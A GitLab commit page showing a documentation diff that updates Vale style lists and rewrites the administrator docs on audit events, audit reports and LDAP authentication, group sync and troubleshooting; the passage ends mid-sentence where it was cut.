diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2021-06-16 18:25:58 +0000 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2021-06-16 18:25:58 +0000 |
| commit | a5f4bba440d7f9ea47046a0a561d49adf0a1e6d4 (patch) | |
| tree | fb69158581673816a8cd895f9d352dcb3c678b1e /doc | |
| parent | d16b2e8639e99961de6ddc93909f3bb5c1445ba1 (diff) | |
| download | gitlab-ce-a5f4bba440d7f9ea47046a0a561d49adf0a1e6d4.tar.gz | |
Add latest changes from gitlab-org/gitlab@14-0-stable-eev14.0.0-rc42
Diffstat (limited to 'doc')
878 files changed, 17324 insertions, 15393 deletions
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml index 01dafe45223..d7f5c750ec0 100644 --- a/doc/.vale/gitlab/Acronyms.yml +++ b/doc/.vale/gitlab/Acronyms.yml @@ -23,18 +23,18 @@ exceptions: - AWS - BSD - CAS + - CDN - CLI - CNA - CNAME - CORE - - CVS - - FREE - CPU - CRIME - CSRF - CSS - CSV - CVE + - CVS - DAG - DAST - DHCP @@ -43,15 +43,18 @@ exceptions: - DSA - DVCS - ECDSA + - ECS - EFS - EKS - EOL - EXIF - FAQ + - FIFO - FIPS - FOSS - FQDN - FREE + - FTP - GCP - GDK - GDPR @@ -61,8 +64,10 @@ exceptions: - GNU - GPG - GPL + - GPU - GUI - HAML + - HDD - HEAD - HIPAA - HTML @@ -80,6 +85,7 @@ exceptions: - JPEG - JPG - JSON + - JVM - JWT - LAN - LDAP @@ -92,11 +98,13 @@ exceptions: - MIT - MVC - NAT + - NDA - NFS - NGINX - NOTE - NTP - ONLY + - OSS - OWASP - PAT - PCI-DSS @@ -106,8 +114,10 @@ exceptions: - PGP - PHP - PNG + - POSIX - POST - PUT + - RAID - RAM - RDP - REST @@ -119,15 +129,17 @@ exceptions: - RSA - RSS - RVM - - SAML - SAAS + - SAML - SAST + - SATA - SCIM - SCP - SCSS - SDK - SELF - SEO + - SFTP - SHA - SLA - SMS @@ -162,6 +174,7 @@ exceptions: - UUID - VCS - VPC + - VPN - WIP - WSL - XML diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml index 61fd0148fd8..b38427ace09 100644 --- a/doc/.vale/gitlab/SubstitutionWarning.yml +++ b/doc/.vale/gitlab/SubstitutionWarning.yml @@ -19,3 +19,15 @@ swap: info: information repo: repository utilize: use + owner access: the Owner role + owner permission: the Owner role + owner permissions: the Owner role + maintainer access: the Maintainer role + maintainer permission: the Maintainer role + maintainer permissions: the Maintainer role + administrator access: the Administrator role + administrator permission: the Administrator role + administrator permissions: the Administrator role + developer access: the Developer role + developer permission: the Developer role + developer permissions: the Developer role diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml index b31bead3bcd..99d2eb1f11a 100644 --- a/doc/.vale/gitlab/Substitutions.yml +++ b/doc/.vale/gitlab/Substitutions.yml @@ -4,7 +4,7 @@ # Checks for misused terms that should never be used at GitLab. # SubstitutionWarning.yml and SubstitionSuggestions.yml also exist. # -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles +# For a list of all options, see https://docs.errata.ai/vale/styles extends: substitution message: 'Use "%s" instead of "%s".' link: https://about.gitlab.com/handbook/communication/#top-misused-terms diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 05d0e5d4b85..d465767049f 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -13,6 +13,7 @@ anonymization anonymized Ansible Anthos +Apdex approvers architected architecting @@ -207,6 +208,7 @@ formatters Fugit fuzzer Gantt +Gemfile Gemnasium Gemojione Getter @@ -281,6 +283,7 @@ jQuery jsdom Jsonnet JupyterHub +Kaminari kanban kanbans kaniko @@ -292,7 +295,6 @@ keytab keytabs Kibana Kinesis -Klar Knative Kramdown Kroki @@ -439,6 +441,7 @@ Pritaly Priyanka profiler Prometheus +ProseMirror protobuf protobufs proxied @@ -546,6 +549,7 @@ serializer serializers serializing serverless +severities sharded sharding shfmt @@ -639,6 +643,7 @@ timeboxed timeboxes timeboxing timecop +tiptap todos tokenizer Tokenizers diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index a7f4fc10655..f0c4d947668 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Audit Events **(PREMIUM)** -GitLab offers a way to view the changes made within the GitLab server for owners and administrators on a [paid plan](https://about.gitlab.com/pricing/). +GitLab offers a way to view the changes made within the GitLab server for owners and administrators +on a [paid plan](https://about.gitlab.com/pricing/). GitLab system administrators can also take advantage of the logs located on the file system. See [the logs system documentation](logs.md#audit_jsonlog) for more details. @@ -49,10 +50,18 @@ When a user is being [impersonated](../user/admin_area/index.md#user-impersonati ### Group events **(PREMIUM)** -A user with a Owner role (or above) can retrieve group audit events of all users. -A user with a Developer or Maintainer role is limited to group audit events based on their individual actions. +A user with: + +- Owner role (or above) can retrieve group audit events of all users. +- Developer or Maintainer role is limited to group audit events based on their individual actions. + +Group events do not include project audit events. + +To view a group's audit events: + +1. Go to the group. +1. On the left sidebar, select **Security & Compliance > Audit Events**. -To view a group's audit events, navigate to **Group > Security & Compliance > Audit Events**. From there, you can see the following actions: - Group name or path changed. @@ -82,7 +91,11 @@ Group events can also be accessed via the [Group Audit Events API](../api/audit_ A user with a Maintainer role (or above) can retrieve project audit events of all users. A user with a Developer role is limited to project audit events based on their individual actions. -To view a project's audit events, navigate to **Project > Security & Compliance > Audit Events**. +To view a project's audit events: + +1. Go to the project. +1. On the left sidebar, select **Security & Compliance > Audit Events**. + From there, you can see the following actions: - Added or removed deploy keys @@ -120,10 +133,14 @@ Server-wide audit events introduce the ability to observe user actions across the entire instance of your GitLab server, making it easy to understand who changed what and when for audit purposes. -To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Events**. +Instance events do not include group or project audit events. -In addition to the group and project events, the following user actions are also -recorded: +To view the server-wide audit events: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Monitoring > Audit Events**. + +The following user actions are recorded: - Sign-in events and the authentication type (such as standard, LDAP, or OmniAuth) - Failed sign-ins @@ -147,6 +164,17 @@ recorded: Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events). +### Sign-in events **(FREE)** + +Successful sign-in events are the only Audit Events available at all tiers. To see +successful sign-in events: + +1. Select your avatar. +1. Select **Edit profile > Authentication log**. + +After upgrading from GitLab Free to a paid tier, successful sign-in events are the only Audit +Events visible in Audit Events views until more events are logged. + ### Missing events Some events are not tracked in Audit Events. See the following @@ -171,7 +199,7 @@ It may make the user interface for your project or audit events very busy, and t `audit_events` PostgreSQL table may increase considerably. It's disabled by default to prevent performance degradations on GitLab instances with very high Git write traffic. -In an upcoming release, Audit Events for Git push events will be enabled +In an upcoming release, Audit Events for Git push events are planned to be enabled by default. Follow our [Partitioning strategy for Audit Events epic](https://gitlab.com/groups/gitlab-org/-/epics/3206) for updates. If you still wish to enable **Repository push** events in your instance, follow @@ -213,11 +241,12 @@ Export to CSV allows customers to export the current filter view of your audit e CSV file, which stores tabular data in plain text. The data provides a comprehensive view with respect to audit events. -To export the Audit Events to CSV, navigate to -**{monitor}** **Admin Area > Monitoring > Audit Events** +To export the Audit Events to CSV: +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Monitoring > Audit Events**. 1. Select the available search [filters](#search). -1. Click **Export as CSV**. +1. Select **Export as CSV**. ### Sort diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md index 2721ee39b60..6fa592b96db 100644 --- a/doc/administration/audit_reports.md +++ b/doc/administration/audit_reports.md @@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.' --- -# Audit Reports +# Audit reports **(FREE)** GitLab can help owners and administrators respond to auditors by generating -comprehensive reports. These **Audit Reports** vary in scope, depending on the +comprehensive reports. These audit reports vary in scope, depending on the needs. ## Use cases diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 364c7cebea3..bc6a854c518 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -7,7 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # General LDAP setup **(FREE SELF)** -GitLab integrates with LDAP to support user authentication. +GitLab integrates with [LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) +to support user authentication. This integration works with most LDAP-compliant directory servers, including: @@ -20,58 +21,48 @@ This integration works with most LDAP-compliant directory servers, including: Users added through LDAP take a [licensed seat](../../../subscriptions/self_managed/index.md#billable-users). GitLab Enterprise Editions (EE) include enhanced integration, -including group membership syncing as well as multiple LDAP servers support. - -## Overview - -[LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) -stands for **Lightweight Directory Access Protocol**, which is a standard -application protocol for accessing and maintaining distributed directory -information services over an Internet Protocol (IP) network. +including group membership syncing and multiple LDAP server support. ## Security GitLab assumes that LDAP users: - Are not able to change their LDAP `mail`, `email`, or `userPrincipalName` attributes. - An LDAP user who is allowed to change their email on the LDAP server can potentially + An LDAP user allowed to change their email on the LDAP server can potentially [take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users) on your GitLab server. -- Have unique email addresses, otherwise it is possible for LDAP users with the same +- Have unique email addresses. If not, it's possible for LDAP users with the same email address to share the same GitLab account. We recommend against using LDAP integration if your LDAP users are -allowed to change their 'mail', 'email' or 'userPrincipalName' attribute on -the LDAP server or share email addresses. +allowed to change their `mail`, `email` or `userPrincipalName` attributes on +the LDAP server, or share email addresses. ### User deletion -If a user is deleted from the LDAP server, they are also blocked in GitLab. -Users are immediately blocked from logging in. However, there is an -LDAP check cache time of one hour (see note) which means users that -are already logged in or are using Git over SSH are be able to access -GitLab for up to one hour. Manually block the user in the GitLab Admin Area to -immediately block all access. - -GitLab Enterprise Edition Premium supports a -[configurable sync time](#adjusting-ldap-user-sync-schedule). **(PREMIUM)** +Users deleted from the LDAP server are immediately blocked from signing in +to GitLab. However, there's an LDAP check cache time of one hour (which is +[configurable](#adjusting-ldap-user-sync-schedule) for GitLab Premium users). +This means users already signed-in or who are using Git over SSH can access +GitLab for up to one hour. Manually block the user in the GitLab Admin Area +to immediately block all access. ## Git password authentication -LDAP-enabled users can always authenticate with Git using their GitLab username -or email and LDAP password, even if password authentication for Git is disabled +LDAP-enabled users can authenticate with Git using their GitLab username or +email and LDAP password, even if password authentication for Git is disabled in the application settings. ## Enabling LDAP sign-in for existing GitLab users -When a user signs in to GitLab with LDAP for the first time, and their LDAP -email address is the primary email address of an existing GitLab user, then -the LDAP DN is associated with the existing user. If the LDAP email -attribute is not found in the GitLab user database, a new user is created. +When a user signs in to GitLab with LDAP for the first time and their LDAP +email address is the primary email address of an existing GitLab user, the +LDAP DN is associated with the existing user. If the LDAP email attribute +isn't found in the GitLab user database, a new user is created. In other words, if an existing GitLab user wants to enable LDAP sign-in for themselves, they should check that their GitLab email address matches their -LDAP email address, and then sign into GitLab via their LDAP credentials. +LDAP email address, and then sign into GitLab by using their LDAP credentials. ## Google Secure LDAP @@ -95,7 +86,8 @@ NOTE: The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS) -would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced with `start_tls` and `ssl` was replaced with `simple_tls`. +would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced +with `start_tls` and `ssl` was replaced with `simple_tls`. LDAP users must have a set email address, regardless of whether or not it's used to sign in. @@ -165,23 +157,23 @@ production: ### Basic Configuration Settings -| Setting | Description | Required | Examples | -| ------- | ----------- | -------- | -------- | -| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` | -| `host` | IP address or domain name of your LDAP server. | yes | `'ldap.mydomain.com'` | -| `port` | The port to connect with on your LDAP server. Always an integer, not a string. | yes | `389` or `636` (for SSL) | -| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | -| `bind_dn` | The full DN of the user you bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | -| `password` | The password of the bind user. | no | `'your_great_password'` | -| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | yes | `'start_tls'` or `'simple_tls'` or `'plain'` | -| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | no | boolean | -| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | no | `10` or `30` | -| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | no | boolean | -| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean | -| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | no | boolean | -| `base` | Base where we can search for users. | yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | -| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | For examples, read [Examples of user filters](#examples-of-user-filters). | -| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean | +| Setting | Description | Required | Examples | +|--------------------|-------------|----------|----------| +| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | **{check-circle}** Yes | `'Paris'` or `'Acme, Ltd.'` | +| `host` | IP address or domain name of your LDAP server. | **{check-circle}** Yes | `'ldap.mydomain.com'` | +| `port` | The port to connect with on your LDAP server. Always an integer, not a string. | **{check-circle}** Yes | `389` or `636` (for SSL) | +| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | **{check-circle}** Yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | +| `bind_dn` | The full DN of the user you bind with. | **{dotted-circle}** No | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | +| `password` | The password of the bind user. | **{dotted-circle}** No | `'your_great_password'` | +| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'` or `'simple_tls'` or `'plain'` | +| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | **{dotted-circle}** No | boolean | +| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | **{dotted-circle}** No | `10` or `30` | +| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | **{dotted-circle}** No | boolean | +| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | **{dotted-circle}** No | boolean | +| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | **{dotted-circle}** No | boolean | +| `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | +| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). | +| `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean | #### Examples of user filters @@ -192,41 +184,44 @@ Some examples of the `user_filter` field syntax: ### SSL Configuration Settings -| Setting | Description | Required | Examples | -| ------- | ----------- | -------- | -------- | -| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | no | `'/etc/ca.pem'` | -| `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | no | `'TLSv1_1'` | -| `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | no | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` | -| `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` | -| `key` | Client private key | no | `'-----BEGIN PRIVATE KEY----- <REDACTED> -----END PRIVATE KEY -----'` | +| Setting | Description | Required | Examples | +|---------------|-------------|----------|----------| +| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | **{dotted-circle}** No | `'/etc/ca.pem'` | +| `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | **{dotted-circle}** No | `'TLSv1_1'` | +| `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | **{dotted-circle}** No | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` | +| `cert` | Client certificate. | **{dotted-circle}** No | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` | +| `key` | Client private key. | **{dotted-circle}** No | `'-----BEGIN PRIVATE KEY----- <REDACTED> -----END PRIVATE KEY -----'` | ### Attribute Configuration Settings -LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above. +LDAP attributes that GitLab uses to create an account for the LDAP user. The specified +attribute can either be the attribute name as a string (for example, `'mail'`), or an +array of attribute names to try in order (for example, `['mail', 'email']`). Note that +the user's LDAP sign-in is the attribute specified as `uid` above. -| Setting | Description | Required | Examples | -| ------- | ----------- | -------- | -------- | -| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` | -| `email` | LDAP attribute for user email. | no | `['mail', 'email', 'userPrincipalName']` | -| `name` | LDAP attribute for user display name. If `name` is blank, the full name is taken from the `first_name` and `last_name`. | no | Attributes `'cn'`, or `'displayName'` commonly carry full names. Alternatively, you can force the use of `first_name` and `last_name` by specifying an absent attribute such as `'somethingNonExistent'`. | -| `first_name` | LDAP attribute for user first name. Used when the attribute configured for `name` does not exist. | no | `'givenName'` | -| `last_name` | LDAP attribute for user last name. Used when the attribute configured for `name` does not exist. | no | `'sn'` | +| Setting | Description | Required | Examples | +|--------------|-------------|----------|----------| +| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | **{dotted-circle}** No | `['uid', 'userid', 'sAMAccountName']` | +| `email` | LDAP attribute for user email. | **{dotted-circle}** No | `['mail', 'email', 'userPrincipalName']` | +| `name` | LDAP attribute for user display name. If `name` is blank, the full name is taken from the `first_name` and `last_name`. | **{dotted-circle}** No | Attributes `'cn'`, or `'displayName'` commonly carry full names. Alternatively, you can force the use of `first_name` and `last_name` by specifying an absent attribute such as `'somethingNonExistent'`. | +| `first_name` | LDAP attribute for user first name. Used when the attribute configured for `name` does not exist. | **{dotted-circle}** No | `'givenName'` | +| `last_name` | LDAP attribute for user last name. Used when the attribute configured for `name` does not exist. | **{dotted-circle}** No | `'sn'` | ### LDAP Sync Configuration Settings **(PREMIUM SELF)** -| Setting | Description | Required | Examples | -| ------- | ----------- | -------- | -------- | -| `group_base` | Base used to search for groups. | no | `'ou=groups,dc=gitlab,dc=example'` | -| `admin_group` | The CN of a group containing GitLab administrators. Note: Not `cn=administrators` or the full DN. | no | `'administrators'` | -| `external_groups` | An array of CNs of groups containing users that should be considered external. Note: Not `cn=interns` or the full DN. | no | `['interns', 'contractors']` | -| `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | no | `'sshPublicKey'` or false if not set | +| Setting | Description | Required | Examples | +|-------------------|-------------|----------|----------| +| `group_base` | Base used to search for groups. | **{dotted-circle}** No | `'ou=groups,dc=gitlab,dc=example'` | +| `admin_group` | The CN of a group containing GitLab administrators. Note: Not `cn=administrators` or the full DN. | **{dotted-circle}** No | `'administrators'` | +| `external_groups` | An array of CNs of groups containing users that should be considered external. Note: Not `cn=interns` or the full DN. | **{dotted-circle}** No | `['interns', 'contractors']` | +| `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | **{dotted-circle}** No | `'sshPublicKey'` or false if not set | ### Set up LDAP user filter If you want to limit all GitLab access to a subset of the LDAP users on your LDAP server, the first step should be to narrow the configured `base`. However, -it is sometimes necessary to filter users further. In this case, you can set up -an LDAP user filter. The filter must comply with +it's sometimes necessary to further filter users. In this case, you can set +up an LDAP user filter. The filter must comply with [RFC 4515](https://tools.ietf.org/search/rfc4515). **Omnibus configuration** @@ -252,7 +247,7 @@ production: ``` If you want to limit access to the nested members of an Active Directory -group, you can use the following syntax: +group, use the following syntax: ```plaintext (memberOf:1.2.840.113556.1.4.1941:=CN=My Group,DC=Example,DC=com) @@ -260,11 +255,10 @@ group, you can use the following syntax: For more information about this "LDAP_MATCHING_RULE_IN_CHAIN" filter, see the following [Microsoft Search Filter Syntax](https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax) document. -Support for nested members in the user filter should not be confused with +Support for nested members in the user filter shouldn't be confused with [group sync nested groups support](#supported-ldap-group-typesattributes). **(PREMIUM SELF)** -Please note that GitLab does not support the custom filter syntax used by -OmniAuth LDAP. +GitLab does not support the custom filter syntax used by OmniAuth LDAP. #### Escaping special characters @@ -342,7 +336,7 @@ an alternative such as SAML is preferred. This allows LDAP to be used for group sync, while also allowing your SAML identity provider to handle additional checks like custom 2FA. -When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign in page. +When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign-in page. This does not disable [using LDAP credentials for Git access](#git-password-authentication). **Omnibus configuration** @@ -373,7 +367,7 @@ Instead of having the LDAP integration credentials stored in plaintext in the co use an encrypted file for the LDAP credentials. To use this feature, you first need to enable [GitLab encrypted configuration](../../encrypted_configuration.md). -The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file will be created at +The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file is created at `shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration. The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP @@ -520,7 +514,9 @@ gitlab_rails['ldap_servers'] = { } ``` -If you configure multiple LDAP servers, use a unique naming convention for the `label` section of each entry. That label is used as the display name of the tab shown on the sign-in page. +If you configure multiple LDAP servers, use a unique naming convention for the +`label` section of each entry. That label is used as the display name of the tab +shown on the sign-in page. ## User sync **(PREMIUM SELF)** @@ -545,13 +541,13 @@ For more information, see [Bitmask Searches in LDAP](https://ctovswild.com/2009/ <!-- vale gitlab.Spelling = YES --> The user is set to an `ldap_blocked` state in GitLab if the previous conditions -fail. This means the user is not able to sign in or push/pull code. +fail. This means the user cannot sign in or push or pull code. The process also updates the following user information: -- Email address. -- If `sync_ssh_keys` is set, SSH public keys. -- If Kerberos is enabled, Kerberos identity. +- Email address +- SSH public keys (if `sync_ssh_keys` is set) +- Kerberos identity (if Kerberos is enabled) The LDAP sync process: @@ -643,19 +639,22 @@ or more LDAP group links](#adding-group-links). ### Adding group links **(PREMIUM SELF)** -For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap). +For information on adding group links by using CNs and filters, refer to the +[GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap). ### Administrator sync **(PREMIUM SELF)** As an extension of group sync, you can automatically manage your global GitLab administrators. Specify a group CN for `admin_group` and all members of the -LDAP group will be given administrator privileges. The configuration looks +LDAP group are given administrator privileges. The configuration looks like the following. NOTE: Administrators are not synced unless `group_base` is also specified alongside `admin_group`. Also, only specify the CN of the `admin_group`, as opposed to the full DN. +Additionally, note that if an LDAP user has an `admin` role, but is not a member of the `admin_group` +group, GitLab revokes their `admin` role when syncing. **Omnibus configuration** @@ -705,8 +704,10 @@ When enabled, the following applies: To enable it you need to: 1. [Enable LDAP](#configuration) -1. Go to **Admin Area > Settings > Visibility and access controls**. -1. Make sure the **Lock memberships to LDAP synchronization** checkbox is selected. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General**. +1. Expand the **Visibility and access controls** section. +1. Ensure the **Lock memberships to LDAP synchronization** checkbox is selected. ### Adjusting LDAP group sync schedule **(PREMIUM SELF)** @@ -717,13 +718,13 @@ The values shown are in cron format. If needed, you can use a WARNING: Do not start the sync process too frequently as this could lead to multiple syncs running concurrently. This is primarily a concern -for installations with a large number of LDAP users. Please review the +for installations with a large number of LDAP users. Review the [LDAP group sync benchmark metrics](#benchmarks) to see how your installation compares before proceeding. You can manually configure LDAP group sync times by setting the following configuration values. The example below shows how to set group -sync to run once every 2 hours at the top of the hour. +sync to run once every two hours at the top of the hour. **Omnibus installations** @@ -749,7 +750,7 @@ sync to run once every 2 hours at the top of the hour. ### External groups **(PREMIUM SELF)** -Using the `external_groups` setting will allow you to mark all users belonging +Using the `external_groups` setting allows you to mark all users belonging to these groups as [external users](../../../user/permissions.md#external-users). Group membership is checked periodically through the `LdapGroupSync` background task. @@ -786,15 +787,14 @@ task. ### Group sync technical details -There is a lot going on with group sync 'under the hood'. This section -outlines what LDAP queries are executed and what behavior you can expect -from group sync. +This section outlines what LDAP queries are executed and what behavior you +can expect from group sync. Group member access are downgraded from a higher level if their LDAP group -membership changes. For example, if a user has 'Owner' rights in a group and the -next group sync reveals they should only have 'Developer' privileges, their +membership changes. For example, if a user the Owner role in a group and the +next group sync reveals they should only have the Developer role, their access is adjusted accordingly. The only exception is if the user is the -*last* owner in a group. Groups need at least one owner to fulfill +last owner in a group. Groups need at least one owner to fulfill administrative duties. #### Supported LDAP group types/attributes @@ -805,18 +805,20 @@ GitLab supports LDAP groups that use member attributes: - `submember` - `uniquemember` - `memberof` -- `memberuid`. +- `memberuid` + +This means group sync supports (at least) LDAP groups with the following object +classes: -This means group sync supports, at least, LDAP groups with the following object classes: -`groupOfNames`, `posixGroup`, and `groupOfUniqueNames`. +- `groupOfNames` +- `posixGroup` +- `groupOfUniqueNames` -Other object classes should work fine as long as members -are defined as one of the mentioned attributes. This also means GitLab supports -Microsoft Active Directory, Apple Open Directory, Open LDAP, and 389 Server. -Other LDAP servers should work, too. +Other object classes should work if members are defined as one of the +mentioned attributes. -Active Directory also supports nested groups. Group sync recursively -resolves membership if `active_directory: true` is set in the configuration file. +Active Directory supports nested groups. Group sync recursively resolves +membership if `active_directory: true` is set in the configuration file. ##### Nested group memberships @@ -842,7 +844,7 @@ Group sync was written to be as performant as possible. Data is cached, database queries are optimized, and LDAP queries are minimized. The last benchmark run revealed the following metrics: -For 20000 LDAP users, 11000 LDAP groups and 1000 GitLab groups with 10 +For 20,000 LDAP users, 11,000 LDAP groups, and 1,000 GitLab groups with 10 LDAP group links each: - Initial sync (no existing members assigned in GitLab) took 1.8 hours @@ -855,4 +857,4 @@ network and LDAP server response time affects these metrics. ## Troubleshooting -Please see our [administrator guide to troubleshooting LDAP](ldap-troubleshooting.md). +See our [administrator guide to troubleshooting LDAP](ldap-troubleshooting.md). diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 1e6684751ed..acafe52007b 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -20,7 +20,7 @@ or `encryption: 'simple_tls'` and `port: 636`. #### Connection times out -If GitLab cannot reach your LDAP endpoint, you will see a message like this: +If GitLab cannot reach your LDAP endpoint, you see a message like this: ```plaintext Could not authenticate you from Ldapmain because "Connection timed out - user specified timeout". @@ -79,7 +79,7 @@ adapter.ldap_search(options) ``` For examples of how this is run, -[review the `Adapter` module](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/ee/gitlab/auth/ldap/adapter.rb). +[review the `Adapter` module](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/auth/ldap/adapter.rb). ### User sign-ins @@ -145,7 +145,8 @@ may see the following message: `Access denied for your LDAP account`. We have a workaround, based on toggling the access level of affected users: -1. As an administrator, go to **Admin Area > Overview > Users**. +1. As an administrator, on the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select the name of the affected user. 1. In the user's administrative page, press **Edit** on the top right of the page. 1. Change the user's access level from `Regular` to `Admin` (or vice versa), @@ -192,6 +193,24 @@ This shows you which user has this email address. One of two steps must be taken The user can do either of these steps [in their profile](../../../user/profile/index.md#access-your-user-profile) or an administrator can do it. +#### Projects limit errors + +The following errors indicate that a limit or restriction is activated, but an associated data +field contains no data: + +- `Projects limit can't be 